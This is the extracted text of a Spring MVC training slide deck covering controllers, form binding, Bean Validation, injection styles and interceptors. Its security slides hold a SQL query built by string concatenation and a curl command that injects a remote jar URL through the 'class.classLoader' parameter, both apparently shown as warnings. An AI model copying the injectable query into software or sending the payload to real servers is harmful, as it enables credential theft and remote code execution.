Remind us again about:
@Autowire)@Controller-annotated classesImmutable (see advanced section)
@XmlRootElement(name = "TodoItem")
@XmlAccessorType(XmlAccessType.NONE)
public class TodoItem {
public static TodoItem create(String title) {
return new TodoItem(UUID.randomUUID(), title);
}
@XmlElement(name = "ID") private UUID id;
@NotBlank @XmlElement(name = "Title") private String title;
public String getTitle() { return title; }
public UUID getId() { return id; }
private TodoItem(UUID id, String title) { ... }
}
Creating/editing a todo item
<h3>Todo item</h3>
<form:form id="form" method="post" modelAttribute="item">
<form:hidden path="id"/>
<div>
<form:label path="title">
<spring:message code="item.title" />
</form:label>
<form:input path="title" placeholder="What needs to be done?" />
<form:errors path="title" />
</div>
<div><button type="submit" class="btn">Save</button></div>
</form:form>
ViewResolver
@Controller @RequestMapping("/todos") public class CreateTodoController {
@ModelAttribute("item")
public TodoItem item() { return TodoItem.empty(); }
@RequestMapping(value="/create", method = GET)
public String showCreate() { return "/todo/create"; }
@RequestMapping(value="/create", method = POST)
public String createFromForm(@Valid @ModelAttribute("item") TodoItem item,
BindingResult result) {
if (result.hasErrors()) {
return showCreate();
} else {
todoService.save(item.withId());
return "redirect:/todos";
}
} }
UriComponentsBuilder
- to build up Location headersInputStream, OutputStream - to get access to request and response streamsBindingResult
- Will contain any validation errors of @Valid argumentsObject - Model beans, url segments, ...
@ModelAttribute
- refer to scoped bean in model@PathVariable
- extract part of url into parameter@RequestBody
- capture / unmarshal request@Valid - apply validations to beanString - Logical view name to render (resolved by ViewResolver)ModelAndView - Logical view to render, and a map of model beansvoid - Custom output, e.g. by using OutputStream directly@ResponseBody Object - Marshal object as XML or JSONAbstractAnnotationConfigDispatcherServletInitializer
web.xml.@Configuration classes.spring.xml and spring-servlet.xml.Advantages
LocaleResolver bean which picks the request LocaleMessageSource beans with your translated texts<spring:message code="item.title" />
fmt: tag library (when using JstlView)Spring MVC
Server-side MVC in general
Spring MVC
Server-side MVC in general
SpringJUnit4ClassRunner
or @WebAppConfiguration, even tough they're tempting.
@RolesAllowed annotation (recommended)Thank you
Jan Ypma
ypma@lundogbendsen.dk
Jan Ypma
ypma@lundogbendsen.dk
class Customer {
private String name;
public String getName() { return name; }
public void setName (String name) { this.name = name; }
/* many more fields and sub-objects */
}
Cache it!
... but what about those setters?
Customer has at least the following fields:
class Customer {
private String name;
private UUID id;
/* getters and setters for all fields */
}
public void save (Customer c);
class Customer {
public Customer changeName(String first, String last) {
return new Customer (first, last, id, /* ... other ... */ );
}
}
ViewResolver instantiates view from nameView renders actual responseIntegration between Spring MVC and Hibernate validator
@Max(42), @NotEmpty, @EMail, ...@Valid controller methods
MethodValidationPostProcessor
NotBlank.item.title = Todo item must have a title
<form:errors path="title" />
@Valid argument: throws
MethodArgumentNotValidException on
validation failure
public String handleCreate(@Valid Item item);
BindingResult argument: receive validation errors
public String handleCreate(@Valid Item item, BindingResult errors);
1. Define your validation annotation
@Target( { METHOD, FIELD } )
@Retention(RUNTIME)
@Constraint(validatedBy = ExistingItemIDValidator.class)
public @interface ExistingItemID {
String message() default "{nl.ypmania.demo.ExistingItemID}";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
2. Write the implementation
public class ExistingItemIDValidator
implements ConstraintValidator<ExistingItemID, UUID> {
@Autowired
private ItemService itemService;
@Override
public void initialize(ExistingItemID constraintAnnotation) { }
@Override
public boolean isValid(UUID id, ConstraintValidatorContext context) {
return (id == null) ? true : itemService.exists(id);
}
}
@RequestBody and
@ResponseBody to access (un)marshalled bodies@RequestMapping with produces=
or consumes= if overlap with HTML UI
MethodArgumentNotValidException
@Autowired private ItemService itemService;
private ItemService itemService;
@Autowired
public void setItemService(ItemService service) {
this.itemService = service;
}
public (anyone can change it) or
package-private (only tests in same package can set up class)
private ItemService itemService;
@Autowired
public MyService (ItemService service) {
this.itemService = service;
}
Two easy ways to add processing around requests
HandlerInterceptor
WebConfig.addInterceptors(...)WebInitializer.getServletFilters()try / catch
jdbc.execute("SELECT FROM USERS WHERE name = '" + name +
"' AND password = '" + password + "'");
curl --data "class.classLoader.URLs[0]=jar:http://dl.com/dino.jar!/" \
http://mybank.com/login
Thank you
Jan Ypma
ypma@lundogbendsen.dk